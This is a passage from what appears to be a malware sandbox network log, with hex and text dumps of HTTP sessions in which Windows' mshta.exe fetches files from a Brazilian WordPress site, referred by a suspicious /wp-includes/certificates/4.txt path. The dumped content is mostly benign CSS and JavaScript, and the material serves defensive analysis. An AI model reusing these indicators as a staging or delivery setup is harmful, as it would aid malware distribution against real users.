href="http://facextrade.com.br/wp-content/themes/theme51253/favicon.ico" type="image/x-icon" /><link rel="pingback" href="http://facextrade.com.br/xmlrpc.php" /><link rel="alternate" type="application/rss+xml" title="Facex" href="https://facextrade.com.br/feed/" /><link rel="alternate" type="application/atom+xml" title="Facex" href="h
Aug 16, 2022 11:53:22.472138882 CEST	444	IN	Data Raw: 74 74 70 73 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 66 65 65 64 2f 61 74 6f 6d 2f 22 20 2f 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 6d 65 Data Ascii: ttps://facextrade.com.br/feed/atom/" /><link rel="stylesheet" type="text/css" media="all" href="http://facextrade.com.br/wp-content/themes/theme51253/bootstrap/css/bootstrap.css" /><link rel="stylesheet" type="text/css" media="all" href="h
Aug 16, 2022 11:53:22.472218990 CEST	445	IN	Data Raw: 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 5c 2f 77 70 2d 69 6e 63 6c 75 64 65 73 5c 2f 6a 73 5c 2f 77 70 2d 65 6d 6f 6a 69 2d 72 65 6c 65 61 73 65 2e 6d 69 6e 2e 6a 73 3f 76 65 72 3d 34 2e 39 2e 32 30 22 7d 7d 3b 0a 09 09 09 21 66 75 6e 63 74 Data Ascii: cextrade.com.br\/wp-includes\/js\/wp-emoji-release.min.js?ver=4.9.20"}};!function(e,a,t){var n,r,o,i=a.createElement("canvas"),p=i.getContext&&i.getContext("2d");function s(e,t){var a=String.fromCharCode;p.clearRect(0,0,i.width,i.height),p
Aug 16, 2022 11:53:22.472392082 CEST	446	IN	Data Raw: 70 70 6f 72 74 73 2e 66 6c 61 67 2c 74 2e 44 4f 4d 52 65 61 64 79 3d 21 31 2c 74 2e 72 65 61 64 79 43 61 6c 6c 62 61 63 6b 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 2e 44 4f 4d 52 65 61 64 79 3d 21 30 7d 2c 74 2e 73 75 70 70 6f 72 74 73 2e 65 76 65 Data Ascii: pports.flag,t.DOMReady=!1,t.readyCallback=function(){t.DOMReady=!0},t.supports.everything\|\|(n=function(){t.readyCallback()},a.addEventListener?(a.addEventListener("DOMContentLoaded",n,!1),e.addEventListener("load",n,!1)):(e.attachEvent("onload
Aug 16, 2022 11:53:22.480025053 CEST	448	IN	Data Raw: 31 30 31 64 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 69 6d 67 2e 77 70 2d 73 6d 69 6c 65 79 2c 0a 69 6d 67 2e 65 6d 6f 6a 69 20 7b 0a 09 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 20 21 69 6d 70 6f 72 74 61 Data Ascii: 101d<style type="text/css">img.wp-smiley,img.emoji {display: inline !important;border: none !important;box-shadow: none !important;height: 1em !important;width: 1em !important;margin: 0 .07em !important;vertical-align: -0.1em
Aug 16, 2022 11:53:22.480081081 CEST	449	IN	Data Raw: 74 2d 61 77 65 73 6f 6d 65 2e 63 73 73 3f 76 65 72 3d 33 2e 32 2e 31 27 20 74 79 70 65 3d 27 74 65 78 74 2f 63 73 73 27 20 6d 65 64 69 61 3d 27 61 6c 6c 27 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 73 74 79 6c 65 73 68 65 65 74 27 20 69 64 3d Data Ascii: t-awesome.css?ver=3.2.1' type='text/css' media='all' /><link rel='stylesheet' id='cherry-plugin-css' href='http://facextrade.com.br/wp-content/plugins/cherry-plugin/includes/css/cherry-plugin.css?ver=1.2.8.1' type='text/css' media='all' /><
Aug 16, 2022 11:53:22.480122089 CEST	451	IN	Data Raw: 73 73 3f 76 65 72 3d 31 2e 30 2e 30 27 20 74 79 70 65 3d 27 74 65 78 74 2f 63 73 73 27 20 6d 65 64 69 61 3d 27 61 6c 6c 27 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 73 74 79 6c 65 73 68 65 65 74 27 20 69 64 3d 27 6c 67 78 2d 6c 6f 67 6f 2d 73 Data Ascii: ss?ver=1.0.0' type='text/css' media='all' /><link rel='stylesheet' id='lgx-logo-slider-animate-css' href='http://facextrade.com.br/wp-content/plugins/logo-slider-wp/public/assets/lib/animate/animate-logo.css?ver=20' type='text/css' media='al
Aug 16, 2022 11:53:22.480298996 CEST	451	IN	Data Raw: 61 73 63 72 69 70 74 27 20 73 72 63 3d 27 68 74 74 70 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 74 68 65 6d 65 73 2f 43 68 65 72 72 79 46 72 61 6d 65 77 6f 72 6b 2f 6a 73 2f 6a 71 75 65 72 79 Data Ascii: ascript' src='http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery-1.7.2.min.js?ver=1.7.2'></script>
Aug 16, 2022 11:53:22.480514050 CEST	452	IN	Data Raw: 31 30 37 66 0d 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 27 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 27 20 73 72 63 3d 27 68 74 74 70 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 70 6c 75 67 Data Ascii: 107f<script type='text/javascript' src='http://facextrade.com.br/wp-content/plugins/cherry-plugin/lib/js/jquery.easing.1.3.js?ver=1.3'></script><script type='text/javascript' src='http://facextrade.com.br/wp-content/plugins/cherry-plugin/li
Aug 16, 2022 11:53:22.480757952 CEST	454	IN	Data Raw: 2f 6a 73 2f 6c 6f 67 6f 2d 73 6c 69 64 65 72 2d 77 70 2d 70 75 62 6c 69 63 2e 6a 73 3f 76 65 72 3d 31 2e 30 2e 30 27 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 27 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 27 20 73 Data Ascii: /js/logo-slider-wp-public.js?ver=1.0.0'></script><script type='text/javascript' src='http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery-migrate-1.2.1.min.js?ver=1.2.1'></script><script type='text/javascript' src='http://fac
Aug 16, 2022 11:53:22.691997051 CEST	459	IN	Data Raw: 4c 20 3d 27 68 74 74 70 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 74 68 65 6d 65 73 2f 74 68 65 6d 65 35 31 32 35 33 27 2c 0a 09 20 50 41 52 45 4e 54 5f 55 52 4c 20 3d 20 27 68 74 74 70 3a 2f Data Ascii: L ='http://facextrade.com.br/wp-content/themes/theme51253', PARENT_URL = 'http://facextrade.com.br/wp-content/themes/CherryFramework', CURRENT_THEME = 'theme51253'</script><style type='text/css'>body { background-image:url(http://facext

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
12	192.168.2.22	49185	187.45.240.69	80	C:\Windows\System32\mshta.exe

Timestamp	kBytes transferred	Direction	Data
Aug 16, 2022 11:53:22.293047905 CEST	436	OUT	GET /wp-content/plugins/logo-slider-wp/public/assets/lib/owl/assets/owl.carousel.min.css?ver=1.0.0 HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:53:22.513740063 CEST	454	IN	HTTP/1.1 200 OK Date: Tue, 16 Aug 2022 09:53:22 GMT Server: Apache Last-Modified: Tue, 10 Aug 2021 23:54:27 GMT ETag: "a51456-d17-5c93d38d9645e" Accept-Ranges: bytes Content-Length: 3351 Connection: close Content-Type: text/css
Aug 16, 2022 11:53:22.513809919 CEST	455	IN	Data Raw: 2f 2a 2a 0a 20 2a 20 4f 77 6c 20 43 61 72 6f 75 73 65 6c 20 76 32 2e 33 2e 34 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 33 2d 32 30 31 38 20 44 61 76 69 64 20 44 65 75 74 73 63 68 0a 20 2a 20 4c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 3a Data Ascii: /** * Owl Carousel v2.3.4 * Copyright 2013-2018 David Deutsch * Licensed under: SEE LICENSE IN https://github.com/OwlCarousel2/OwlCarousel2/blob/master/LICENSE */.owl-carousel,.owl-carousel .owl-item{-webkit-tap-highlight-color:transparen
Aug 16, 2022 11:53:22.513854980 CEST	457	IN	Data Raw: 75 73 65 72 2d 73 65 6c 65 63 74 3a 6e 6f 6e 65 3b 2d 6d 6f 7a 2d 75 73 65 72 2d 73 65 6c 65 63 74 3a 6e 6f 6e 65 3b 2d 6d 73 2d 75 73 65 72 2d 73 65 6c 65 63 74 3a 6e 6f 6e 65 3b 75 73 65 72 2d 73 65 6c 65 63 74 3a 6e 6f 6e 65 7d 2e 6f 77 6c 2d Data Ascii: user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}.owl-carousel .owl-nav button.owl-next,.owl-carousel .owl-nav button.owl-prev,.owl-carousel button.owl-dot{background:0 0;color:inherit;border:none;padding:0!importan
Aug 16, 2022 11:53:22.513895035 CEST	458	IN	Data Raw: 3a 61 62 73 6f 6c 75 74 65 3b 68 65 69 67 68 74 3a 38 30 70 78 3b 77 69 64 74 68 3a 38 30 70 78 3b 6c 65 66 74 3a 35 30 25 3b 74 6f 70 3a 35 30 25 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 34 30 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2d 34 30 Data Ascii: :absolute;height:80px;width:80px;left:50%;top:50%;margin-left:-40px;margin-top:-40px;background:url(owl.video.play.png) no-repeat;cursor:pointer;z-index:1;-webkit-backface-visibility:hidden;transition:transform .1s ease}.owl-carousel .owl-vide

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
13	192.168.2.22	49186	187.45.240.69	80	C:\Windows\System32\mshta.exe

Timestamp	kBytes transferred	Direction	Data
Aug 16, 2022 11:53:22.692389011 CEST	461	OUT	GET /wp-content/plugins/logo-slider-wp/public/assets//lib/owl/assets/owl.theme.default.min.css?ver=1.0.0 HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:53:22.907341003 CEST	471	IN	HTTP/1.1 200 OK Date: Tue, 16 Aug 2022 09:53:22 GMT Server: Apache Last-Modified: Tue, 10 Aug 2021 23:54:27 GMT ETag: "a51451-3f5-5c93d38d94a1b" Accept-Ranges: bytes Content-Length: 1013 Connection: close Content-Type: text/css
Aug 16, 2022 11:53:22.907387018 CEST	472	IN	Data Raw: 2f 2a 2a 0a 20 2a 20 4f 77 6c 20 43 61 72 6f 75 73 65 6c 20 76 32 2e 33 2e 34 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 33 2d 32 30 31 38 20 44 61 76 69 64 20 44 65 75 74 73 63 68 0a 20 2a 20 4c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 3a Data Ascii: /** * Owl Carousel v2.3.4 * Copyright 2013-2018 David Deutsch * Licensed under: SEE LICENSE IN https://github.com/OwlCarousel2/OwlCarousel2/blob/master/LICENSE */.owl-theme .owl-dots,.owl-theme .owl-nav{text-align:center;-webkit-tap-highl

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
14	192.168.2.22	49187	187.45.240.69	80	C:\Windows\System32\mshta.exe

Timestamp	kBytes transferred	Direction	Data
Aug 16, 2022 11:53:22.735726118 CEST	471	OUT	GET /wp-content/plugins/logo-slider-wp/public/assets/lib/animate/animate-logo.css?ver=20 HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:53:22.954632998 CEST	473	IN	HTTP/1.1 200 OK Date: Tue, 16 Aug 2022 09:53:22 GMT Server: Apache Last-Modified: Tue, 10 Aug 2021 23:54:27 GMT ETag: "a51464-13cec-5c93d38d9adcd" Accept-Ranges: bytes Content-Length: 81132 Connection: close Content-Type: text/css
Aug 16, 2022 11:53:22.954648972 CEST	474	IN	Data Raw: 40 63 68 61 72 73 65 74 20 22 55 54 46 2d 38 22 3b 0d 0a 0d 0a 2f 2a 21 0d 0a 41 6e 69 6d 61 74 65 2e 63 73 73 20 2d 20 68 74 74 70 3a 2f 2f 64 61 6e 65 64 65 6e 2e 6d 65 2f 61 6e 69 6d 61 74 65 0d 0a 56 65 72 73 69 6f 6e 20 2d 20 33 2e 34 2e 30 Data Ascii: @charset "UTF-8";/!Animate.css - http://daneden.me/animateVersion - 3.4.0Licensed under the MIT license - http://opensource.org/licenses/MITCopyright (c) 2015 Daniel Eden/.animated { -webkit-animation-duration: 1s;
Aug 16, 2022 11:53:22.954664946 CEST	475	IN	Data Raw: 2d 33 30 70 78 2c 20 30 29 3b 0d 0a 20 20 20 20 20 20 20 20 74 72 61 6e 73 66 6f 72 6d 3a 20 74 72 61 6e 73 6c 61 74 65 33 64 28 30 2c 20 2d 33 30 70 78 2c 20 30 29 3b 0d 0a 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 37 30 25 20 7b 0d 0a 20 20 20 20 Data Ascii: -30px, 0); transform: translate3d(0, -30px, 0); } 70% { -webkit-animation-timing-function: cubic-bezier(0.755, 0.050, 0.855, 0.060); animation-timing-function: cubic-bezier(0.755, 0.050, 0.855, 0.060);
Aug 16, 2022 11:53:22.954772949 CEST	477	IN	Data Raw: 2c 20 30 29 3b 0d 0a 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 39 30 25 20 7b 0d 0a 20 20 20 20 20 20 20 20 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 20 74 72 61 6e 73 6c 61 74 65 33 64 28 30 2c 2d 34 70 78 2c 30 29 3b 0d 0a 20 20 20 20 Data Ascii: , 0); } 90% { -webkit-transform: translate3d(0,-4px,0); transform: translate3d(0,-4px,0); }}.bounce { -webkit-animation-name: bounce; animation-name: bounce; -webkit-transform-origin: cen
Aug 16, 2022 11:53:22.954788923 CEST	478	IN	Data Raw: 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 20 73 63 61 6c 65 33 64 28 31 2c 20 31 2c 20 31 29 3b 0d 0a 20 20 20 20 20 20 20 20 74 72 61 6e 73 66 6f 72 6d 3a 20 73 63 61 6c 65 33 64 28 31 2c 20 31 2c 20 31 29 3b 0d 0a 20 20 20 20 7d 0d 0a 7d 0d 0a Data Ascii: kit-transform: scale3d(1, 1, 1); transform: scale3d(1, 1, 1); }}.pulse { -webkit-animation-name: pulse; animation-name: pulse;}@-webkit-keyframes rubberBand { from { -webkit-transform: scale3d(
Aug 16, 2022 11:53:22.959331989 CEST	480	IN	Data Raw: 20 20 7d 0d 0a 0d 0a 20 20 20 20 35 30 25 20 7b 0d 0a 20 20 20 20 20 20 20 20 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 20 73 63 61 6c 65 33 64 28 31 2e 31 35 2c 20 30 2e 38 35 2c 20 31 29 3b 0d 0a 20 20 20 20 20 20 20 20 74 72 61 6e Data Ascii: } 50% { -webkit-transform: scale3d(1.15, 0.85, 1); transform: scale3d(1.15, 0.85, 1); } 65% { -webkit-transform: scale3d(.95, 1.05, 1); transform: scale3d(.95, 1.05, 1); } 75
Aug 16, 2022 11:53:22.959374905 CEST	481	IN	Data Raw: 61 6e 73 66 6f 72 6d 3a 20 74 72 61 6e 73 6c 61 74 65 33 64 28 31 30 70 78 2c 20 30 2c 20 30 29 3b 0d 0a 20 20 20 20 7d 0d 0a 7d 0d 0a 0d 0a 2e 73 68 61 6b 65 20 7b 0d 0a 20 20 20 20 2d 77 65 62 6b 69 74 2d 61 6e 69 6d 61 74 69 6f 6e 2d 6e 61 6d Data Ascii: ansform: translate3d(10px, 0, 0); }}.shake { -webkit-animation-name: shake; animation-name: shake;}@-webkit-keyframes swing { 20% { -webkit-transform: rotate3d(0, 0, 1, 15deg); transform: rotat
Aug 16, 2022 11:53:22.959391117 CEST	482	IN	Data Raw: 74 61 74 65 33 64 28 30 2c 20 30 2c 20 31 2c 20 30 64 65 67 29 3b 0d 0a 20 20 20 20 7d 0d 0a 7d 0d 0a 0d 0a 2e 73 77 69 6e 67 20 7b 0d 0a 20 20 20 20 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 2d 6f 72 69 67 69 6e 3a 20 74 6f 70 20 63 65 Data Ascii: tate3d(0, 0, 1, 0deg); }}.swing { -webkit-transform-origin: top center; transform-origin: top center; -webkit-animation-name: swing; animation-name: swing;}@-webkit-keyframes tada { from { -we
Aug 16, 2022 11:53:22.959408045 CEST	484	IN	Data Raw: 29 3b 0d 0a 20 20 20 20 20 20 20 20 74 72 61 6e 73 66 6f 72 6d 3a 20 73 63 61 6c 65 33 64 28 31 2e 31 2c 20 31 2e 31 2c 20 31 2e 31 29 20 72 6f 74 61 74 65 33 64 28 30 2c 20 30 2c 20 31 2c 20 33 64 65 67 29 3b 0d 0a 20 20 20 20 7d 0d 0a 0d 0a 20 Data Ascii: ); transform: scale3d(1.1, 1.1, 1.1) rotate3d(0, 0, 1, 3deg); } 40%, 60%, 80% { -webkit-transform: scale3d(1.1, 1.1, 1.1) rotate3d(0, 0, 1, -3deg); transform: scale3d(1.1, 1.1, 1.1) rotate3d(0, 0, 1, -3de
Aug 16, 2022 11:53:22.959423065 CEST	485	IN	Data Raw: 6c 61 74 65 33 64 28 2d 35 25 2c 20 30 2c 20 30 29 20 72 6f 74 61 74 65 33 64 28 30 2c 20 30 2c 20 31 2c 20 2d 31 64 65 67 29 3b 0d 0a 20 20 20 20 20 20 20 20 74 72 61 6e 73 66 6f 72 6d 3a 20 74 72 61 6e 73 6c 61 74 65 33 64 28 2d 35 25 2c 20 30 Data Ascii: late3d(-5%, 0, 0) rotate3d(0, 0, 1, -1deg); transform: translate3d(-5%, 0, 0) rotate3d(0, 0, 1, -1deg); } to { -webkit-transform: none; transform: none; }}@keyframes wobble { from {
Aug 16, 2022 11:53:23.167392015 CEST	487	IN	Data Raw: 20 31 31 2e 31 25 2c 20 74 6f 20 7b 0d 0a 20 20 20 20 20 20 20 20 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 20 6e 6f 6e 65 3b 0d 0a 20 20 20 20 20 20 20 20 74 72 61 6e 73 66 6f 72 6d 3a 20 6e 6f 6e 65 3b 0d 0a 20 20 20 20 7d 0d 0a 0d Data Ascii: 11.1%, to { -webkit-transform: none; transform: none; } 22.2% { -webkit-transform: skewX(-12.5deg) skewY(-12.5deg); transform: skewX(-12.5deg) skewY(-12.5deg); } 33.3% { -we

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
15	192.168.2.22	49188	187.45.240.69	80	C:\Windows\System32\mshta.exe

Timestamp	kBytes transferred	Direction	Data
Aug 16, 2022 11:53:23.410898924 CEST	559	OUT	GET /wp-content/plugins/logo-slider-wp/public/assets/css/logo-slider-wp-public.css?ver=1.0.0 HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:53:23.644532919 CEST	560	IN	HTTP/1.1 200 OK Date: Tue, 16 Aug 2022 09:53:23 GMT Server: Apache Last-Modified: Tue, 10 Aug 2021 23:54:27 GMT ETag: "a50ba8-14fc-5c93d38d8b229" Accept-Ranges: bytes Content-Length: 5372 Connection: close Content-Type: text/css Data Raw: 2f 2a 2a 0a 20 2a 20 41 6c 6c 20 6f 66 20 74 68 65 20 43 53 53 20 66 6f 72 20 79 6f 75 72 20 70 75 62 6c 69 63 2d 66 61 63 69 6e 67 20 66 75 6e 63 74 69 6f 6e 61 6c 69 74 79 20 73 68 6f 75 6c 64 20 62 65 0a 20 2a 20 69 6e 63 6c 75 64 65 64 20 69 6e 20 74 68 69 73 20 66 69 6c 65 2e 0a 20 2a 2f 0a 2e 6c 67 78 2d 6c 6f 67 6f 2d 73 6c 69 64 65 72 2d 77 70 20 2e 6f 77 6c 2d 73 74 61 67 65 20 7b 0a 20 20 20 20 64 69 73 70 6c 61 79 3a 20 66 6c 65 78 3b 0a 20 20 20 20 61 6c 69 67 6e 2d 69 74 65 6d 73 3a 20 63 65 6e 74 65 72 3b 0a 7d 0a 0a 2e 6c 67 78 2d 6c 6f 67 6f 2d 73 6c 69 64 65 72 2d 77 70 20 2e 6c 67 78 2d 6c 6f 67 6f 2d 77 72 61 70 70 65 72 20 7b 0a 20 20 70 61 64 64 69 6e 67 3a 20 32 35 70 78 20 30 3b 0a 7d 0a 2e 6c 67 78 2d 6c 6f 67 6f 2d 73 6c 69 64 65 72 2d 77 70 20 2e 6c 67 78 2d 6c 6f 67 6f 2d 77 72 61 70 70 65 72 20 2e 6c 67 78 2d 6c 6f 67 6f 2d 63 61 72 6f 75 73 65 6c 20 2e 6f 77 6c 2d 6e 61 76 20 7b 0a 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 7d 0a 2e 6c 67 78 2d 6c 6f 67 6f 2d 73 6c 69 64 65 72 2d 77 70 20 2e 6c 67 78 2d 6c 6f 67 6f 2d 77 72 61 70 70 65 72 20 2e 6c 67 78 2d 6c 6f 67 6f 2d 63 61 72 6f 75 73 65 6c 20 2e 6f 77 6c 2d 6e 61 76 20 2e 6f 77 6c 2d 6e 65 78 74 2c 0a 2e 6c 67 78 2d 6c 6f 67 6f 2d 73 6c 69 64 65 72 2d 77 70 20 2e 6c 67 78 2d 6c 6f 67 6f 2d 77 72 61 70 70 65 72 20 2e 6c 67 78 2d 6c 6f 67 6f 2d 63 61 72 6f 75 73 65 6c 20 2e 6f 77 6c 2d 6e 61 76 20 2e 6f 77 6c 2d 70 72 65 76 20 7b 0a 20 20 6d 61 72 67 69 6e 3a 20 31 70 78 3b 0a 7d 0a 2e 6c 67 78 2d 6c 6f 67 6f 2d 73 6c 69 64 65 72 2d 77 70 20 2e 6c 67 78 2d 6c 6f 67 6f 2d 77 72 61 70 70 65 72 20 2e 6c 67 78 2d 6c 6f 67 6f 2d 63 61 72 6f 75 73 65 6c 20 2e 6f 77 6c 2d 6e 61 76 20 5b 63 6c 61 73 73 2a 3d 6f 77 6c 2d 5d 20 7b 0a 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 74 72 61 6e 73 70 61 72 65 6e 74 3b 0a 7d 0a 2e 6c 67 78 2d 6c 6f 67 6f 2d 73 6c 69 64 65 72 2d 77 70 20 2e 6c 67 78 2d 6c 6f 67 6f 2d 77 72 61 70 70 65 72 20 2e 6c 67 78 2d 6c 6f 67 6f 2d 63 61 72 6f 75 73 65 6c 20 2e 6f 77 6c 2d 6e 65 78 74 20 69 6d 67 2c 0a 2e 6c 67 78 2d 6c 6f 67 6f 2d 73 6c 69 64 65 72 2d 77 70 20 2e 6c 67 78 2d 6c 6f 67 6f 2d 77 72 61 70 70 65 72 20 2e 6c 67 78 2d 6c 6f 67 6f 2d 63 61 72 6f 75 73 65 6c 20 2e 6f 77 6c 2d 70 72 65 76 20 69 6d 67 20 7b 0a 20 20 77 69 64 74 68 3a 20 33 30 70 78 3b 0a 7d 0a 2e 6c 67 78 2d 6c 6f 67 6f 2d 73 6c 69 64 65 72 2d 77 70 20 2e 77 70 2d 6c 6f 67 6f 2d 62 6f 72 64 65 72 20 2e 6c 67 78 2d 6c 6f 67 6f 2d 69 74 65 6d 20 7b 0a 20 20 62 6f 72 64 65 72 2d 73 74 79 6c 65 3a 20 73 6f 6c 69 64 3b 0a 20 20 62 6f 72 64 65 72 2d 77 69 64 74 68 3a 20 32 70 78 3b 0a 7d 0a 2e 6c 67 78 2d 6c 6f 67 6f 2d 73 6c 69 64 65 72 2d 77 70 20 2e 6c 67 78 2d 6c 6f 67 6f 2d 69 74 65 6d 20 7b 0a 20 20 63 75 72 73 6f 72 3a 20 70 6f 69 6e 74 65 72 3b 0a 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 7d 0a 2e 6c 67 78 2d 6c 6f 67 6f 2d 73 6c 69 64 65 72 2d 77 70 20 2e 6c 67 78 2d 6c 6f 67 6f 2d 69 74 65 6d 20 2e 6c 6f 67 6f 2d 63 6f 6d 70 61 6e 79 2d 6e 61 6d 65 20 7b 0a 20 20 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 0a 20 20 74 65 78 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 20 69 6e 69 74 69 61 6c 3b 0a 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 70 61 64 64 69 6e 67 3a 20 31 30 70 78 3b 0a 7d 0a 2e 6c 67 78 2d 6c 6f 67 6f Data Ascii: /** * All of the CSS for your public-facing functionality should be * included in this file. /.lgx-logo-slider-wp .owl-stage { display: flex; align-items: center;}.lgx-logo-slider-wp .lgx-logo-wrapper { padding: 25px 0;}.lgx-logo-slider-wp .lgx-logo-wrapper .lgx-logo-carousel .owl-nav { text-align: center;}.lgx-logo-slider-wp .lgx-logo-wrapper .lgx-logo-carousel .owl-nav .owl-next,.lgx-logo-slider-wp .lgx-logo-wrapper .lgx-logo-carousel .owl-nav .owl-prev { margin: 1px;}.lgx-logo-slider-wp .lgx-logo-wrapper .lgx-logo-carousel .owl-nav [class=owl-] { background: transparent;}.lgx-logo-slider-wp .lgx-logo-wrapper .lgx-logo-carousel .owl-next img,.lgx-logo-slider-wp .lgx-logo-wrapper .lgx-logo-carousel .owl-prev img { width: 30px;}.lgx-logo-slider-wp .wp-logo-border .lgx-logo-item { border-style: solid; border-width: 2px;}.lgx-logo-slider-wp .lgx-logo-item { cursor: pointer; text-align: center;}.lgx-logo-slider-wp .lgx-logo-item .logo-company-name { display: block; text-transform: initial; margin: 0; padding: 10px;}.lgx-logo
Aug 16, 2022 11:53:23.644566059 CEST	562	IN	Data Raw: 2d 73 6c 69 64 65 72 2d 77 70 20 2e 6c 67 78 2d 6c 6f 67 6f 2d 69 74 65 6d 20 2e 6c 6f 67 6f 2d 63 6f 6d 70 61 6e 79 2d 6e 61 6d 65 3a 68 6f 76 65 72 20 7b 0a 20 20 6f 70 61 63 69 74 79 3a 20 30 2e 37 35 3b 0a 7d 0a 2e 6c 67 78 2d 6c 6f 67 6f 2d Data Ascii: -slider-wp .lgx-logo-item .logo-company-name:hover { opacity: 0.75;}.lgx-logo-slider-wp .nav-position-v-mid { position: relative;}.lgx-logo-slider-wp .nav-position-v-mid .owl-next,.lgx-logo-slider-wp .nav-position-v-mid .owl-prev {
Aug 16, 2022 11:53:23.644588947 CEST	563	IN	Data Raw: 6f 75 74 20 30 73 3b 0a 20 20 2d 6d 73 2d 74 72 61 6e 73 69 74 69 6f 6e 3a 20 61 6c 6c 20 30 2e 32 73 20 65 61 73 65 2d 69 6e 2d 6f 75 74 20 30 73 3b 0a 20 20 2d 6f 2d 74 72 61 6e 73 69 74 69 6f 6e 3a 20 61 6c 6c 20 30 2e 32 73 20 65 61 73 65 2d Data Ascii: out 0s; -ms-transition: all 0.2s ease-in-out 0s; -o-transition: all 0.2s ease-in-out 0s; transition: all 0.2s ease-in-out 0s;}.lgx-logo-slider-wp .hover-default .lgx-logo-item .lgx-logo-img { -moz-opacity: 1; -khtml-opacity: 1; -
Aug 16, 2022 11:53:23.644612074 CEST	565	IN	Data Raw: 20 31 3b 0a 20 20 2d 6d 73 2d 66 69 6c 74 65 72 3a 20 70 72 6f 67 69 64 3a 44 58 49 6d 61 67 65 54 72 61 6e 73 66 6f 72 6d 2e 4d 69 63 72 6f 73 6f 66 74 2e 41 6c 70 68 61 28 6f 70 61 63 69 74 79 3d 31 30 30 29 3b 0a 20 20 66 69 6c 74 65 72 3a 20 Data Ascii: 1; -ms-filter: progid:DXImageTransform.Microsoft.Alpha(opacity=100); filter: alpha(opacity=100); filter: url("data:image/svg+xml;utf8,<svg xmlns=\'http://www.w3.org/2000/svg\'><filter id=\'grayscale\'><feColorMatrix type=\'matrix\' valu
